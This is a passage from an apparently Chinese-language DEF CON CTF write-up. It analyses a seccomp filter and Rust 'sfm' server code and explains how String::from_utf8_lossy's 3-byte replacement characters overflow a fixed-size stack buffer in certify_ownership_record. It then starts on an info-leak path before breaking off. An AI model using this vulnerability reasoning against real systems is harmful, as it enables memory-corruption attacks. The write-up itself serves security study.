121);">&#34;prctl(NO_NEW_PRIVS)&#34;</span>);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>  {<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( !(<span style="color: rgb(209, 154, 102);">unsigned</span> <span style="color: rgb(209, 154, 102);">int</span>)prctl(<span style="color: rgb(209, 154, 102);">22LL</span>, <span style="color: rgb(209, 154, 102);">2LL</span>, &amp;sec_filter, v0, v1) )<span style="color: rgb(92, 99, 112);font-style: italic;">// #define PR_SET_SECCOMP  22</span><br/>                                                <span style="color: rgb(92, 99, 112);font-style: italic;">// #define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */</span><br/>      <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0LL</span>;<br/>    perror(<span style="color: rgb(152, 195, 121);">&#34;prctl(SECCOMP)&#34;</span>);<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">1LL</span>;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">This code installs a SECCOMP filter using the prctl system call with the PR_SET_SECCOMP option. The SECCOMP mode used is SECCOMP_MODE_FILTER, which means that a user-supplied filter is used. The filter contains 13 instructions, which are used to allow or block specific system calls. The allowed system calls are: read (syscall number 0) write (syscall number 1) close (syscall number 3) fstat (syscall number 5) mmap (syscall number 9) mprotect (syscall number 10) munmap (syscall number 11) brk (syscall number 12) rt_sigaction (syscall number 13) rt_sigprocmask (syscall number 14) ioctl (syscall number 16) access (syscall number 21) exit_group (syscall number 231) All other system calls are blocked, and attempting to make them will result in the process being killed. Note that the specific behavior of the filter may depend on the environment in which it is being used.</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">可能会说用seccomp-tools，但是其实defcon题目环境搭建还是有点蛮麻烦的（不过后来发现是我电脑ubuntu 20.04的原因，22.04环境搭建还是不难的）。</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于defcon这种比赛就是要抓住各种细节，感叹大佬们都非常细心和耐心。在经过认真分析seccomp之后发现绕过过滤确实不可能，因此我基本上接着审计sfm和sfm-sys，希望可以通过image的代码和sfm进行交互来实现攻击。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">sfm</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  sfm主要就是作为一个server提供一些功能交互，核心命令如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">impl</span> <span style="color: rgb(230, 192, 123);">SfmCommandCode</span> {<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> GetIdentity: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">0</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> IntegrityBankUpdate: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">1</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> CreateObject: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">2</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> ModifyObject: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">3</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> DuplicateObject: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">4</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> UnsealObject: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">5</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> CertifyObject: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">6</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> AttestQuote: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">7</span>);<br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">const</span> EstablishSecureIo: <span style="color: rgb(198, 120, 221);">Self</span> = <span style="color: rgb(97, 174, 238);">SfmCommandCode</span>(<span style="color: rgb(209, 154, 102);">8</span>);<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  漏洞就出现在实现命令的certify_object函数里面，同时函数的参数其实就是程序接收的bytes转换而来的：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">certify_object</span>(&amp;<span style="color: rgb(198, 120, 221);">mut</span> <span style="color: rgb(198, 120, 221);">self</span>, cmd: WithTrailer&lt;SfmCertifyObject&gt;) -&gt; SfmResult&lt;<span style="color: rgb(209, 154, 102);">bool</span>&gt; {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">entry</span> = <span style="color: rgb(198, 120, 221);">self</span>.object_store.<span style="color: rgb(97, 174, 238);">get</span>(&amp;cmd.object_index.<span style="color: rgb(97, 174, 238);">into</span>())<br/>            .<span style="color: rgb(97, 174, 238);">ok_or</span>(SfmError::<span style="color: rgb(97, 174, 238);">InvalidObjectIndex</span>(cmd.object_index))?;<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">certification</span> = <span style="color: rgb(198, 120, 221);">match</span> &amp;entry.item {<br/>            SfmObject::<span style="color: rgb(97, 174, 238);">OwnershipRecord</span>(body) =&gt; {<br/>                <span style="color: rgb(198, 120, 221);">self</span>.sfm.<span style="color: rgb(97, 174, 238);">certify_ownership_record</span>(<br/>                           &amp;body.owner_name.<span style="color: rgb(97, 174, 238);">as_bytes</span>(),<br/>                           &amp;body.device_name[..],<br/>                           u64::<span style="color: rgb(97, 174, 238);">from_le_bytes</span>(body.serial_number),<br/>                           body.creation_date)<br/>            }<br/>            SfmObject::<span style="color: rgb(97, 174, 238);">Key</span>(key) =&gt; {<br/>                <span style="color: rgb(198, 120, 221);">self</span>.sfm.<span style="color: rgb(97, 174, 238);">certify_key</span>(&amp;key.key_data[..])<br/>            }<br/>            SfmObject::<span style="color: rgb(97, 174, 238);">NvStorage</span>(data) =&gt; {<br/>                <span style="color: rgb(198, 120, 221);">self</span>.sfm.<span style="color: rgb(97, 174, 238);">certify_nv_storage</span>(&amp;data[..])<br/>            }<br/>        };<br/>        <span style="color: rgb(92, 99, 112);font-style: italic;">// write the cert blob back out</span><br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">cert_blob</span> = certification.<span style="color: rgb(97, 174, 238);">ok_or</span>(SfmError::SfmInternalError)?;<br/>        <span style="color: rgb(198, 120, 221);">self</span>.stream.<span style="color: rgb(97, 174, 238);">write_all</span>(&amp;cert_blob[..])?;<br/>        <span style="color: rgb(97, 174, 238);">Ok</span>(<span style="color: rgb(86, 182, 194);">true</span>)<br/>    }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  当entyr.item匹配到OwnershipRecord的时候调用certify_ownership_record函数：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">certify_ownership_record</span>(&amp;<span style="color: rgb(198, 120, 221);">mut</span> <span style="color: rgb(198, 120, 221);">self</span>,<br/>                                    owner_name: &amp;[<span style="color: rgb(209, 154, 102);">u8</span>],<br/>                                    device_name: &amp;[<span style="color: rgb(209, 154, 102);">u8</span>],<br/>                                    serial: <span style="color: rgb(209, 154, 102);">u64</span>,<br/>                                    timestamp: <span style="color: rgb(209, 154, 102);">u32</span>) -&gt; <span style="color: rgb(209, 154, 102);">Option</span>&lt;<span style="color: rgb(209, 154, 102);">Vec</span>&lt;<span style="color: rgb(209, 154, 102);">u8</span>&gt;&gt; {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">out_buf</span> = [<span style="color: rgb(209, 154, 102);">0u8</span>; MAX_OWNERSHIP_CERT_SIZE];<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">err</span> = <span style="color: rgb(198, 120, 221);">unsafe</span> {<br/>            <span style="color: rgb(97, 174, 238);">sfm_certify_owner_record</span>(<span style="color: rgb(198, 120, 221);">self</span>.ek,<br/>                                     owner_name.<span style="color: rgb(97, 174, 238);">as_ptr</span>(),<br/>                                     device_name.<span style="color: rgb(97, 174, 238);">as_ptr</span>(),<br/>                                     serial,<br/>                                     timestamp,<br/>                                     out_buf.<span style="color: rgb(97, 174, 238);">as_mut_ptr</span>())<br/>        };<br/>        <span style="color: rgb(198, 120, 221);">if</span> err != <span style="color: rgb(209, 154, 102);">0</span> {<br/>            <span style="color: rgb(86, 182, 194);">None</span><br/>        } <span style="color: rgb(198, 120, 221);">else</span> {<br/>            <span style="color: rgb(97, 174, 238);">Some</span>(out_buf.<span style="color: rgb(97, 174, 238);">to_vec</span>())<br/>        }<br/>    }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">同时注意OwnershipRecord的结构体类型：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">OwnershipRecord</span> {<br/>    <span style="color: rgb(198, 120, 221);">pub</span> country_code: <span style="color: rgb(209, 154, 102);">String</span>,<br/>    <span style="color: rgb(198, 120, 221);">pub</span> owner_name: <span style="color: rgb(209, 154, 102);">String</span>,<br/>    <span style="color: rgb(198, 120, 221);">pub</span> device_name: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">16</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> serial_number: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">8</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> creation_date: <span style="color: rgb(209, 154, 102);">u32</span><br/>}<br/><span style="color: rgb(97, 174, 238);">#[repr(C)]</span><br/><span style="color: rgb(97, 174, 238);">#[derive(Debug, AsBytes, FromBytes)]</span><br/><span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">struct</span> <span style="color: rgb(230, 192, 123);">OwnershipRecordRaw</span> {<br/>    <span style="color: rgb(198, 120, 221);">pub</span> country_code: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">2</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> _padding: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">2</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> owner_name: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">64</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> device_name: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">16</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> serial_number: [<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">8</span>],<br/>    <span style="color: rgb(198, 120, 221);">pub</span> creation_date: <span style="color: rgb(209, 154, 102);">u32</span>,<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在body进行类型转换的时候使用如下函数：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">impl</span> <span style="color: rgb(230, 192, 123);">From</span>&lt;OwnershipRecordRaw&gt; <span style="color: rgb(198, 120, 221);">for</span> <span style="color: rgb(230, 192, 123);">OwnershipRecord</span> {<br/>    <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">from</span>(item: OwnershipRecordRaw) -&gt; <span style="color: rgb(198, 120, 221);">Self</span> {<br/>        <span style="color: rgb(198, 120, 221);">Self</span> {<br/>            country_code: String::<span style="color: rgb(97, 174, 238);">from_utf8_lossy</span>(&amp;item.country_code[..]).<span style="color: rgb(97, 174, 238);">to_string</span>(),<br/>            owner_name: String::<span style="color: rgb(97, 174, 238);">from_utf8_lossy</span>(&amp;item.owner_name[..]).<span style="color: rgb(97, 174, 238);">to_string</span>(),<br/>            device_name: item.device_name,<br/>            serial_number: item.serial_number,<br/>            creation_date: item.creation_date<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  这些都是我们可以控制的数据，在certify_ownership_record函数中，创建了一个size确定的out_buf来进行存储结果，这是一个C函数，用来使用<span style="line-height: 1.75;color: rgb(87, 107, 149);">openssl</span>对参数信息进行签名，并将结果保存在out_buf里面，正在来说作者肯定留有足够的buf来保存信息，但是观察上述类型转换的函数，其使用了String::from_utf8_lossy进行转换，观察该库函数源码：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">from_utf8_lossy</span>(v: &amp;[<span style="color: rgb(209, 154, 102);">u8</span>]) -&gt; Cow&lt;<span style="color: rgb(97, 174, 238);">&#39;_</span>, <span style="color: rgb(209, 154, 102);">str</span>&gt; {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">iter</span> = Utf8Chunks::<span style="color: rgb(97, 174, 238);">new</span>(v);<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">first_valid</span> = <span style="color: rgb(198, 120, 221);">if</span> <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">Some</span>(chunk) = iter.<span style="color: rgb(97, 174, 238);">next</span>() {<br/>            <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">valid</span> = chunk.<span style="color: rgb(97, 174, 238);">valid</span>();<br/>            <span style="color: rgb(198, 120, 221);">if</span> chunk.<span style="color: rgb(97, 174, 238);">invalid</span>().<span style="color: rgb(97, 174, 238);">is_empty</span>() {<br/>                <span style="color: rgb(230, 192, 123);">debug_assert_eq!</span>(valid.<span style="color: rgb(97, 174, 238);">len</span>(), v.<span style="color: rgb(97, 174, 238);">len</span>());<br/>                <span style="color: rgb(198, 120, 221);">return</span> Cow::<span style="color: rgb(97, 174, 238);">Borrowed</span>(valid);<br/>            }<br/>            valid<br/>        } <span style="color: rgb(198, 120, 221);">else</span> {<br/>            <span style="color: rgb(198, 120, 221);">return</span> Cow::<span style="color: rgb(97, 174, 238);">Borrowed</span>(<span style="color: rgb(152, 195, 121);">&#34;&#34;</span>);<br/>        };<br/>        <span style="color: rgb(198, 120, 221);">const</span> REPLACEMENT: &amp;<span style="color: rgb(209, 154, 102);">str</span> = <span style="color: rgb(152, 195, 121);">&#34;\u{FFFD}&#34;</span>;<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">res</span> = String::<span style="color: rgb(97, 174, 238);">with_capacity</span>(v.<span style="color: rgb(97, 174, 238);">len</span>());<br/>        res.<span style="color: rgb(97, 174, 238);">push_str</span>(first_valid);<br/>        res.<span style="color: rgb(97, 174, 238);">push_str</span>(REPLACEMENT);<br/>        <span style="color: rgb(198, 120, 221);">for</span> <span style="color: rgb(209, 154, 102);">chunk</span> <span style="color: rgb(198, 120, 221);">in</span> iter {<br/>            res.<span style="color: rgb(97, 174, 238);">push_str</span>(chunk.<span style="color: rgb(97, 174, 238);">valid</span>());<br/>            <span style="color: rgb(198, 120, 221);">if</span> !chunk.<span style="color: rgb(97, 174, 238);">invalid</span>().<span style="color: rgb(97, 174, 238);">is_empty</span>() {<br/>                res.<span style="color: rgb(97, 174, 238);">push_str</span>(REPLACEMENT);<br/>            }<br/>        }<br/>        Cow::<span style="color: rgb(97, 174, 238);">Owned</span>(res)<br/>    }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">函数解释如下：</p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-left: none;padding: 1em;border-radius: 8px;background: rgb(247, 247, 247);margin: 2em 8px;"><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">Converts a slice of bytes to a string, including invalid characters.</p><p style="line-height: 1.75;font-size: 1em;letter-spacing: 0.1em;color: rgb(80, 80, 80);">Strings are made of bytes ([<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">u8</code>](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html)), and a slice of bytes ([<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">&amp;[u8\]</code>](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html)) is made of bytes, so this function converts between the two. Not all byte slices are valid strings, however: strings are required to be valid UTF-8. During this conversion, <code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">from_utf8_lossy()</code> will replace any invalid UTF-8 sequences with [<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">U+FFFD REPLACEMENT CHARACTER</code>](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html), which looks like this: �</p></blockquote><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  同时&#34;\u{FFFD}&#34;转换为utf-8为3字节，这就引发对于out_buf可能的栈溢出行为。但是栈溢出行为在保护机制这么多的情况下，一般都需要info leak才能利用，接下来看另一个函数：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><br/>    <span style="color: rgb(198, 120, 221);">pub</span> <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">attest</span>(&amp;<span style="color: rgb(198, 120, 221);">self</span>,<br/>                  alg_id: <span style="color: rgb(209, 154, 102);">u16</span>,<br/>                  banks: <span style="color: rgb(209, 154, 102);">Vec</span>&lt;[<span style="color: rgb(209, 154, 102);">u8</span>; <span style="color: rgb(209, 154, 102);">64</span>]&gt;) -&gt; <span style="color: rgb(209, 154, 102);">Option</span>&lt;<span style="color: rgb(209, 154, 102);">Vec</span>&lt;<span style="color: rgb(209, 154, 102);">u8</span>&gt;&gt; {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(198, 120, 221);">mut </span><span style="color: rgb(209, 154, 102);">out_buf</span> = [<span style="color: rgb(209, 154, 102);">0u8</span>; <span style="color: rgb(209, 154, 102);">512</span>];<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">err</span> = <span style="color: rgb(198, 120, 221);">unsafe</span> {<br/>            <span style="color: rgb(97, 174, 238);">sfm_attest_to_quote</span>(<span style="color: rgb(198, 120, 221);">self</span>.ek,<br/>                                alg_id <span style="color: rgb(198, 120, 221);">as</span> <span style="color: rgb(209, 154, 102);">u16</span>,<br/>                                banks.<span style="color: rgb(97, 174, 238);">as_ptr</span>(),<br/>                                banks.<span style="color: rgb(97, 174, 238);">len</span>(),<br/>                                out_buf.<span style="color: rgb(97, 174, 238);">as_mut_ptr</span>())<br/>        };<br/>        <span style="color: rgb(198, 120, 221);">if</span> err != <span style="color: rgb(209, 154, 102);">0</span> {<br/>            <span style="color: rgb(86, 182, 194);">None</span><br/>        } <span style="color: rgb(198, 120, 221);">else</span> {<br/>            <span style="color: rgb(97, 174, 238);">Some</span>(out_buf.<span style="color: rgb(97, 174, 238);">to_vec</span>())<br/>        }<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">fn</span> <span style="color: rgb(97, 174, 238);">attest_quote</span>(&amp;<span style="color: rgb(198, 120, 221);">mut</span> <span style="color: rgb(198, 120, 221);">self</span>, cmd: WithTrailer&lt;SfmAttestQuote&gt;) -&gt; SfmResult&lt;<span style="color: rgb(209, 154, 102);">bool</span>&gt; {<br/>        <span style="color: rgb(198, 120, 221);">let</span> <span style="color: rgb(209, 154, 102);">alg</span> = cmd.alg_id;<br/>        <span style="color: rgb(198, 120, 